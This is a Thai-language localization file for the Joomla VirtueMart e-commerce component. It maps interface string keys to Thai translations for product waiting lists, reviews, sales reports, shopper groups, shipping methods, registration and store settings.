COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="ผู้ใช้งานที่กำลังรอสินค้าจะได้รับการแจ้งเตือนเมื่อมีสินค้าชิ้นนี้กลับเข้ามาอยู่ในสต็อค" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="ไม่มีผู้ใช้งานที่รออยู่" COM_VIRTUEMART_PRODUCT_WEIGHT="น้ำหนักของสินค้า" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="หน่วยของน้ำหนักสินค้า" COM_VIRTUEMART_PRODUCT_WIDTH="ความกว้างของสินค้า" COM_VIRTUEMART_PRODUCT_XREF_NAMES="สินค้าที่เลือก %s" COM_VIRTUEMART_PRODUCT_MASSXREF="อ้างอิงรายการจำนวนมากให้กับสินค้า" COM_VIRTUEMART_PRODUCT_XREF_CAT="เชื่อมโยงหมวดหมู่จำนวนมากเข้าด้วยกัน" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="ประมวลผลคำสั่งเพื่อเชื่อมโยงหมวดหมู่จำนวนมากเข้าด้วยกัน" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="เชื่อมโยงกลุ่มผู้ซื้อจำนวนมากเข้าด้วยกัน" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="ประมวลผลคำสั่งเพื่อเชื่อมโยงกลุ่มผู้ซื้อจำนวนมากเข้าด้วยกัน" COM_VIRTUEMART_PUBLISH="เผยแพร่แล้ว" COM_VIRTUEMART_PUBLISHED="เผยแพร่แล้ว" COM_VIRTUEMART_PUBLISH_ITEM="เผยแพร่รายการ" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="ค่า RaiseWarning ที่ใช้: ไม่สามารถบันทึกข้อมูลผู้ใช้งาน VirtueMart ได้" COM_VIRTUEMART_RATE_FORM_VAT_ID="ภาษี" COM_VIRTUEMART_RATE_NOM="คะแนนโหวต" COM_VIRTUEMART_RATINGS="ความคิดเห็น & คะแนนโหวต" COM_VIRTUEMART_RATING_DATE_TITLE="วันที่แสดงความคิดเห็น" COM_VIRTUEMART_RATING_EDIT_TITLE="แก้ไขความคิดเห็นของผู้ซื้อ" COM_VIRTUEMART_RATING_TITLE="คะแนนโหวต" COM_VIRTUEMART_RECCOMEND_UNATUH="อนุญาตให้ผู้ที่ยังไม่ได้เข้าสู่ระบบสามารถส่งคำแนะนำได้" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="หากเปิดใช้ ผู้ใช้งานไม่ว่าจะอยู่ในสถานะใดสามารถส่งคำแนะนำเกี่ยวกับสินค้าได้, มิฉะนั้นแล้ว เฉพาะผู้ใช้งานที่เข้าสู่ระบบเท่านั้นจึงจะสามารถส่งคำแนะนำให้กับสินค้าได้" COM_VIRTUEMART_RECENT_PRODUCTS="สินค้าที่เข้าชมเมื่อเร็วๆนี้" COM_VIRTUEMART_REGISTER_ACCOUNT="สมัครลงทะเบียน?
            เมื่อสมัครลงทะเบียน บัญชีของคุณจะได้รับอนุญาตให้กลับมาที่ร้านค้าและสามารถเปิดดูรายการสั่งซื้อสินค้าทั้งหมดย้อนหลังได้" COM_VIRTUEMART_REGISTER_BEFORE="กรุณาสมัครลงทะเบียนเพื่อใช้งานสิ่งอำนวยความสะดวกนี้" COM_VIRTUEMART_REGISTER_EMAIL="อีเมล" COM_VIRTUEMART_REGISTER_TITLE="ลงทะเบียน" COM_VIRTUEMART_REGISTER_UNAME="ชื่อผู้ใช้" COM_VIRTUEMART_REGISTRATION_FORM_NONE="ไม่มีรายการ" COM_VIRTUEMART_REG_COMPLETE="
            การลงทะเบียนเสร็จสมบูรณ์!
            " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
            การลงทะเบียนเสร็จสมบูรณ์!

            บัญชีของคุณได้ถูกสร้างขึ้นแล้ว และลิงก์ยืนยันการสมัครได้ถูกส่งไปยังที่อยู่อีเมลที่คุณได้แจ้งไว้แล้ว กรุณาจำไว้ว่าคุณต้องทำการยืนยันการสมัครบัญชีของคุณ โดยคลิกที่ลิงก์ยืนยันหลังจากคุณได้รับอีเมลดังกล่าว คุณจึงจะสามารถเข้าสู่ระบบได้." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
            การสมัครลงทะเบียนของผู้ขายเสร็จสมบูรณ์!
            " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
            การลงทะเบียนของผู้ขายเสร็จสมบูรณ์แล้ว!

            บัญชีของคุณได้ถูกสร้างขึ้นแล้ว และลิงก์ยืนยันการสมัครได้ถูกส่งไปยังที่อยู่อีเมลที่คุณได้แจ้งไว้แล้ว กรุณาจำไว้ว่าคุณต้องทำการยืนยันการสมัครบัญชีของคุณ โดยคลิกที่ลิงก์ยืนยันหลังจากคุณได้รับอีเมลดังกล่าว คุณจึงจะสามารถเข้าสู่ระบบได้." COM_VIRTUEMART_RELATED_CATEGORIES="หมวดหมู่ที่เกี่ยวข้อง" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="เพิ่มหมวดหมู่เพื่อแสดงในหน้ารายละเอียดสินค้า" COM_VIRTUEMART_RELATED_PRODUCTS="สินค้าอื่นๆที่เกี่ยวข้อง" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="สินค้าอื่นๆที่น่าสนใจ" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="เพิ่มรายการสินค้าที่ต้องการแสดงในหน้ารายละเอียดสินค้า" COM_VIRTUEMART_RELOAD="โหลดข้อมูลใหม่" COM_VIRTUEMART_REMEMBER_ME="จำข้อมูลการเข้าสู่ระบบ" COM_VIRTUEMART_REPORT="รายงานเกี่ยวกับรายรับ" COM_VIRTUEMART_REPORT_BASIC_DATE="วันที่" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="รายการสินค้าส่วนบุคคล" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="60 วันที่ผ่านมา" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="90 วันที่ผ่านมา" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="เดือนที่ผ่านมา" COM_VIRTUEMART_REPORT_BASIC_ORDERS="ใบสั่งซื้อ" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="การแสดงรายการสินค้า" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="รายงานสำหรับ" COM_VIRTUEMART_REPORT_BASIC_REVENUE="รายได้" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="ข้อมูลสรุปความเคลื่อนไหวยอดขาย // ยังไม่ได้ใช้งานหรือ?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="รายงานยอดขาย // ยังไม่ได้ใช้งานหรือ?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="แสดงตามช่วงที่เลือกไว้นี้" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="เดือนนี้" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="รายการทั้งหมดที่ขายไป" COM_VIRTUEMART_REPORT_FROM_PERIOD="จาก: " COM_VIRTUEMART_REPORT_INTERVAL="กำหนดช่วงเวลา" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="ถึงวันที่" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="รายวัน" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="รายเดือน" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="รายสัปดาห์" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="รายปี" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="วันที่เริ่มต้น" COM_VIRTUEMART_REPORT_PERIOD_LAST30="30 วันที่ผ่านมา" COM_VIRTUEMART_REPORT_PERIOD_LAST60="60 วันที่ผ่านมา" COM_VIRTUEMART_REPORT_PERIOD_LAST90="90 วันที่ผ่านมา" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="เดือนนี้" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="สัปดาห์นี้" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="ปีนี้" COM_VIRTUEMART_REPORT_PERIOD_TODAY="วันนี้" COM_VIRTUEMART_REPORT_SET_PERIOD="กำหนดช่วงเวลา: " COM_VIRTUEMART_REPORT_TITLE="รายงานตามช่วงเวลาจาก %s ถึง %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="จนถึง: " COM_VIRTUEMART_RESET="รีเซ็ต" COM_VIRTUEMART_REVIEW="ความคิดเห็นจากผู้ซื้อ" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="เผยแพร่ความคิดเห็นอัตโนมัติ?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="หากเลือก, ความคิดเห็นเกี่ยวกับสินค้าจะถูกเผยแพร่อัตโนมัติเมื่อทำการโพสต์, หากไม่ได้เลืกอ, ผู้ดูแลระบบจะต้องเป็นผู้เผยแพร่หรืออนุมัติความคิดเห็นดังกล่าว" COM_VIRTUEMART_REVIEW_COUNT="ตัวอักษรที่ใช้ไป:" COM_VIRTUEMART_REVIEW_DETAILS="รายละเอียดความคิดเห็นของผู้ซื้อ" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="กรุณาเขียนข้อความแสดงความคิดเห็นเกี่ยวกับสินค้าของคุณ จำนวนตัวอักษรมากสุดที่สามารถเขียนได้: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="กรุณาแสดงความคิดเห็นของคุณสั้นๆ จำนวนตัวอักษรสูงสุดที่สามารถใช้ได้: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="ความคิดเห็นเกี่ยวกับสินค้า" COM_VIRTUEMART_REVIEW_LOGIN="กรุณาเข้าสู่ระบบเพื่อเขียนความคิดเห็น" COM_VIRTUEMART_REVIEW_RATE="ความคิดเห็น & คะแนนโหวต" COM_VIRTUEMART_REVIEW_RATE_S="ความคิดเห็น & คะแนนโหวต" COM_VIRTUEMART_REVIEW_S="ความเห็นผู้ซื้อ" COM_VIRTUEMART_RULES_EFFECTING="ผลกระทบจากเกณฑ์ที่ใช้งาน: " COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="ตำแหน่งพาธสำหรับจัดเก็บใบกำกับสินค้าที่สร้าง" COM_VIRTUEMART_SALES="สินค้าขายดี" COM_VIRTUEMART_SAMPLE_DATA="ติดตั้ง
            ข้อมูลตัวอย่าง" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="ข้อมูลตัวอย่างถูกติดตั้งแล้ว!!" COM_VIRTUEMART_SAVE="บันทึก" COM_VIRTUEMART_SAVED_CART_TITLE="รายการสินค้าในรถเข็นที่บันทึกไว้" COM_VIRTUEMART_SAVE_PERMISSIONS="บันทึกสิทธิ์การเข้าใช้งาน" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="ค้นหาจากหมวดหมู่ทั้งหมด" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="ค้นหาข้อมูลสินค้าทั้งหมด" COM_VIRTUEMART_SEARCH_AND="และ" COM_VIRTUEMART_SEARCH_DESCRIPTION="คำอธิบายผลิตภัณฑ์เท่านั้น" COM_VIRTUEMART_SEARCH_LBL="ค้นหา" COM_VIRTUEMART_SEARCH_MANU_VENDOR="ผู้ผลิต / ผู้ขาย เท่านั้น" COM_VIRTUEMART_SEARCH_NOT="ไม่ต้อง" COM_VIRTUEMART_SEARCH_ORDER_ASC="เรียงลำดับจากน้อยมามาก" COM_VIRTUEMART_SEARCH_ORDER_DESC="เรียงลำดับจากมากไปน้อย" COM_VIRTUEMART_SEARCH_PRODNAME="ชื่อสินค้าเท่านั้น" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="เลือกผู้ผลิตสินค้าทั้งหมด" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="เลือกผู้ผลิต" COM_VIRTUEMART_SEARCH_TITLE="ค้นหา" COM_VIRTUEMART_SELECT="เลือก %s" COM_VIRTUEMART_SELECT_CATEGORY="เลือกหมวดหมุ่..." COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="เลือกปลั๊กอิน " COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="เลือกเทมเพลทเริ่มต้นสำหรับร้านค้าของคุณ" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="เทมเพลทจะอนุญาตให้คุณสามารถจัดรูปแบบสไตล์ และปรับแต่งหน้าตาร้านค้าของคุณได้
            หากยังไม่มีเทมเพลทอื่นๆนอกเหนือจากเทมเพลทที่กำหนดไว้เป็น 'ค่าเริ่มต้น' คุณจะยังไม่มีเทมเพลทอื่นๆเพิ่มเติมที่ติดตั้งไว้" COM_VIRTUEMART_SELECT_FILE="เลือกไฟล์" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="เลือกรายการที่ต้องการลบ" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="เลือกรายการที่ต้องการเปิดดู" COM_VIRTUEMART_SELECT_MANUFACTURER="เลือกชื่อผู้ผลิตสินค้า" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="เลือกหมวดหมู่ผู้ผลิต" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="กรุณาเลือกวิธีการชำระเงินในแท็บข้อมูลรูปแบบวิธีการชำระเงิน, และคลิกที่ปุ่ม นำไปใช้งาน สำหรับ Joomla รุ่น 1.5, หรือปุ่ม บันทึก สำหรับ Joomla รุ่น 1.7 เพื่อแสดงค่าพารามิเตอร์ที่เหมาะสม" COM_VIRTUEMART_SELECT_PERIOD="เลือกช่วงเวลา" COM_VIRTUEMART_SELECT_PRODUCT="เลือกสินค้า" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="กรุณาเลือกวิีธีการจัดส่งสินค้าจากในแท็บข้อมูลวิีธีการจัดส่งสินค้า, จากนั้นคลิกที่ปุ่มนำไปใช้งาน สำหรับผู้ที่ใช้งาน Joomla 1.5, หรือคลิกที่ปุ่ม บันทึก สำหรับผู้ที่ใช้งาน Joomla 1.7 เพื่อแสดงค่าพารามิเตอร์ที่เหมาะสมจากตรงนี้" COM_VIRTUEMART_SELECT_USER_TO_MODIFY="เลือกชื่อผู้ใช้ที่ต้องการแก้ไข" COM_VIRTUEMART_SEND_BUTTON="ส่ง" COM_VIRTUEMART_SEND_SUB="รายละเอียดบัญชีของ %s ที่ %s" COM_VIRTUEMART_SETSTOREOWNER="กำหนดชื่อเจ้าของร้าน" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="กลุ่มผู้ซื้อเริ่มต้นถูกเปลี่ยนแล้ว" COM_VIRTUEMART_SHIPMENTMETHOD="วิธีการขนส่ง" COM_VIRTUEMART_SHIPMENTMETHOD_S="วิธีการขนส่ง" COM_VIRTUEMART_SHIPMENT_CLONE="ลอกแบบข้อมูลการจัดส่ง" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="ข้อมูลการจัดส่งถูกลอกแบบเรียบร้อยแล้ว" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="คำอธิบายการขนส่ง" COM_VIRTUEMART_SHIPMENT_NAME="ชื่อการขนส่ง" COM_VIRTUEMART_SHIPMENT_NAME_LBL="ชื่อการขนส่ง" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="การลอกแบบข้อมูลการจัดส่งล้มเหลว" COM_VIRTUEMART_SHIPPINGRATE="อัตราค่าขนส่ง " COM_VIRTUEMART_SHIPPINGRATE_DETAILS="รายละเอียดอัตราการขนส่ง" COM_VIRTUEMART_SHIPPINGRATE_S="อัตราค่าขนส่ง" COM_VIRTUEMART_SHIPPING_CLASS_NAME="วิธีการขนส่ง" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="เลือกวิธีการจัดส่งสินค้าสำหรับวิธีการนี้, จากนั้นคลิกที่ปุ่ม นำไปใช้งาน สำหรับผู้ที่ใช้ Joomla! 1.5, หรือคลิกที่ปุ่ม บันทึก สำหรับผู้ที่ใช้ Joomla 1.7 เพื่อแสดงค่าพารามิเตอร์ที่เหมาะสมลงในแท็บข้อมูลการกำหนดค่า" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="คำอธิบายการขนส่ง" COM_VIRTUEMART_SHIPPING_FORM_NAME="ชื่อการขนส่ง" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="กลุ่มผู้ซื้อ" COM_VIRTUEMART_SHIPPING_FORM_VAT="ภาษีมูลค่าเพิ่ม" COM_VIRTUEMART_SHIPPING_NAME="ชื่อการขนส่ง" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="กลุ่มผู้ซื้อ" COM_VIRTUEMART_SHIPTO_TEXT="คุณสามารถเพิ่มสถานที่จัดส่งสินค้าเข้าไปยังบัญชีของคุณได้ กรุณาตั้งชื่อหรือเลือกรหัสที่เหมาะสมสำหรับสถานที่จัดส่งสินค้าที่คุณเลือกจากด้านล่างนี้" COM_VIRTUEMART_SHOPPERGROUP="กลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_ADDED="กลุ่มผู้ซื้อถูกเพิ่มแล้ว" COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="กลุ่มผู้ซื้อนี้มีข้อมูลอยู๋ในชื่อผู้ซื้อนี้อยู่แล้ว" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="กลุ่มผู้ซื้อเริ่มต้น" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="ผู้ซื้อรายใหม่จะถูกจัดเข้าไปยังกลุ่มนี้" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="คุณไม่สามารถลบกลุ่มผู้ซื้อเริ่มต้น %1$s ที่มีรหัส %2$s ได้" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="ยังมีชื่อผู้ใช้งานที่มีการระบุชื่ออยู่ในกลุ่มผู้ซื้อ %1$s ด้วยรหัส %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="ไม่สามารถลบกลุ่มผู้ซื้อเริ่มต้นได้" COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="รหัสกลุ่มผู้ซื้อนี้" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="กรุณาเลือกกลุ่มผู้ซื้อที่ต้องการลบ" COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="ยังมีชื่อผู้ใช้งานที่มีการระบุชื่ออยู่ในรหัสของกลุ่มผู้ซื้อนี้" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="คำอธิบายกลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="รายละเอียดกลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="อนุญาตให้มีการแสดงราคาเฉพาะสำหรับกลุ่มผู้ซื้อได้" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="ส่วนลดราคาสำหรับกลุ่มผู้ซื้อเริ่มต้น (ในหน่วย %)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="จำนวนค่าบวก X หมายถึง" COM_VIRTUEMART_SHOPPERGROUP_IDS="กลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="ส่วนลดสำหรับกลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="กลุ่มผู้ซื้อที่มีการรวมภาษี" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="คุณต้องกรอกชื่อกลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_NAME="ชื่อกลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="ชื่อกลุ่มผู้ซื้อสำหรับผู้ขายดังกล่าวมีอยู่แล้ว" COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="ชื่อกลุ่มผู้ซื้อควรมีจำนวนตัวอักษรมากกว่า 32 ตัวอักษร" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="ต้องมีชื่อของกลุ่มผู้ซื้อด้วย" COM_VIRTUEMART_SHOPPERGROUP_S="กลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="กลุ่มผู้ซื้อได้รับการอัพเดทข้อมูลแล้ว" COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="อัพเดทข้อมูลกลุ่มผู้ซื้อล้มเหลว" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="ที่อยู่ 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="ที่อยู่ 2" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="ข้อมูล" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="ชื่อเรียกที่อยู่" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="วันเกิด" COM_VIRTUEMART_SHOPPER_FORM_CITY="เมือง" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="ชื่อบริษัท" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="ประเทศ" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="อีเมล" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="เลขประจำตัวผู้เสียภาษีมูลค่าเพิ่ม (ประเทศในกลุ่มยุโรปเท่านั้น)" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="ชื่อ" COM_VIRTUEMART_SHOPPER_FORM_GROUP="กลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="ส่วนต่อเติมของบ้าน" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="เลขที่บ้าน" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="นามสกุล" COM_VIRTUEMART_SHOPPER_FORM_LBL="ข้อมูลเพิ่มเติม" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="ชื่อกลาง" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="รหัสผ่าน" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="ยืนยันรหัสผ่าน" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="โทรศัพท์มือถือ" COM_VIRTUEMART_SHOPPER_FORM_PHONE="โทรศัพท์" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="ข้อมูลการขนส่ง" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="หมายเลขประกันสังคม" COM_VIRTUEMART_SHOPPER_FORM_STATE="รัฐ / จังหวัด / ภูมิภาค" COM_VIRTUEMART_SHOPPER_FORM_TITLE="คำนำหน้า" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="ชื่อผู้ใช้" COM_VIRTUEMART_SHOPPER_FORM_ZIP="รหัสไปรษณีย์" COM_VIRTUEMART_SHOPPER_GROUP_NAME="ชื่อของกลุ่มผู้ซื้อ" COM_VIRTUEMART_SHOPPER_STATE_NAME="ชื่อรัฐ" COM_VIRTUEMART_SHOPPER_TITLE_MISS="นางสาว" COM_VIRTUEMART_SHOPPER_TITLE_MR="นาย" COM_VIRTUEMART_SHOPPER_TITLE_MRS="นาง" COM_VIRTUEMART_SHOW="แสดง" COM_VIRTUEMART_SHOW_DISCOUNTED="สินค้าที่มีส่วนลด" COM_VIRTUEMART_SHOW_FEATURED="สินค้าที่น่าสนใจ" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="แสดงช่องกาตัวเลือกสำหรับจำรหัสผ่านในส่วนพื้นที่ของการเข้าสู่ระบบ?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="เมื่อคลิกเลือก, ช่องจำรหัสผ่านจะแสดงให้เห็นในหน้าคิดเงิน. ไม่แนะนำให้ใช้งาน หากมีการใช้ระบบรักษาความปลอดภัยแบบ shared ssl, เนื่องจากผู้ซื้อจะสามารถเลือกได้ว่าต้องการขอรับคุ๊กกี้สำหรับผู้ใช้งานหรือไม่ - แต่คุ๊กกี้ของผู้ใช้งานจำเป็นต้องถูกเก็บรักษาไว้เพื่อบันทึกความเคลื่อนไหวของผู้ใช้งานจากการใช้รูปแบบโดเมนทังสองรูปแบบ." COM_VIRTUEMART_SKU="รหัส Sku" COM_VIRTUEMART_SLUG="Sef Alias" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="พบข้อผิดพลาด" COM_VIRTUEMART_SQL_ERROR="เกิดข้อผิดพลาดเกี่ยวกับ SQL" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="เค้าโครงมาตรฐานหน้าหมวดหมู่สินค้า VirtueMart" COM_VIRTUEMART_START_DATE="วันที่เริ่มต้น" COM_VIRTUEMART_START_SYNCRONIZING="เริ่มดำเนินการเชื่อมข้อมูล!" COM_VIRTUEMART_STATE="รัฐ" COM_VIRTUEMART_STATES_COUNTRY="รัฐในประเทศ %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="เปิดดูรายชื่อรัฐของ
             %1$s" COM_VIRTUEMART_STATE_2_CODE="โค้ดสำหรับรัฐ (2)" COM_VIRTUEMART_STATE_3_CODE="โค้ดสำหรับรัฐ (3)" COM_VIRTUEMART_STATE_COUNTRY="รัฐในประเทศ %1$s" COM_VIRTUEMART_STATE_DETAILS="รายละเอียดเกี่ยวกับรัฐ" COM_VIRTUEMART_STATE_IDS="รัฐ" COM_VIRTUEMART_STATE_LIST_LBL="รายชื่อรัฐของ" COM_VIRTUEMART_STATE_NAME="ชื่อรัฐ" COM_VIRTUEMART_STATE_S="รัฐ" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="ผลิตภัณฑ์ที่ใช้งาน" COM_VIRTUEMART_STATISTIC_CUSTOMERS="ผู้ซื้อ" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="ผลิตภัณฑ์ที่ไม่มีการใช้งาน" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="ผู้ซื้อรายใหม่" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="ใบสั่งซื้อใหม่" COM_VIRTUEMART_STATISTIC_STATISTICS="สถิติ" COM_VIRTUEMART_STATISTIC_SUM="รวม" COM_VIRTUEMART_STATISTIC_SUMMARY="แผงควบคุม" COM_VIRTUEMART_STATUS="สถานะ" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="สินค้าชิ้นนี้มีจำนวนสินค้าเหลือน้อยในสต็อค" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="สินค้าชิ้นนี้มีจำนวนสินค้าเต็มสต็อค" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="ขออภัย, ไม่มีสินค้ารายการนี้เหลืออยู่ในสต็อค" COM_VIRTUEMART_STOCK_LEVEL_LOW="สินค้าในสต็อคเหลือน้อย" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="สินค้ามีเหลือพอในสต็อค" COM_VIRTUEMART_STOCK_LEVEL_OUT="ไม่มีสินค้าเหลืออยู่อีกในสต็อค" COM_VIRTUEMART_STORE="ร้านค้า" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="สกุลเงิน" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="รายงานสกุลเงินที่รับ" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="ชื่อร้านค้า-บริษัท" COM_VIRTUEMART_STORE_FORM_COUNTRY="ประเทศ" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="คำอธิบาย" COM_VIRTUEMART_STORE_FORM_LBL="ข้อมูลร้านค้า" COM_VIRTUEMART_STORE_FORM_LEGAL="ข้อมูลเกี่ยวกับกฏหมาย" COM_VIRTUEMART_STORE_FORM_MPOV="มูลค่าสั่งซื้อขั้นต่ำสำหรับร้านค้าคุณ" COM_VIRTUEMART_STORE_FORM_STATE="รัฐ / จังหวัด / ภูมิภาค" COM_VIRTUEMART_STORE_FORM_STORE_NAME="ชื่อร้านค้า" COM_VIRTUEMART_STORE_FORM_TOS="เงื่อนไขการบริการ" COM_VIRTUEMART_STORE_INFORMATION="ข้อมูลร้านค้า" COM_VIRTUEMART_STORE_MOD="ร้านค้า" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s รายการถูกยกเลิกแล้ว" COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s ไม่สามารถลบทิ้งได้" COM_VIRTUEMART_STRING_DELETED="%s ถูกลบทิ้งเรียบร้อยแล้ว" COM_VIRTUEMART_STRING_DELETED_ERROR="เกิดข้อผิดพลาด: %s ไม่สามารถลบทิ้งได้" COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="พบข้อผิดพลาด: %s ต้องมีการระบุชื่อ" COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="%s ยังว่างอยู่ ช่องข้อมูลนี้เป็นข้อมูลที่จำเป็นต้องกรอก, กรุณากรอกข้อมูลของคุณและข้อมูลร้านค้าอีกครั้ง" COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s ในแถวเกิดการสูญหาย! ไม่สามารถบันทึกรายการที่ไม่มี %1$s ได้" 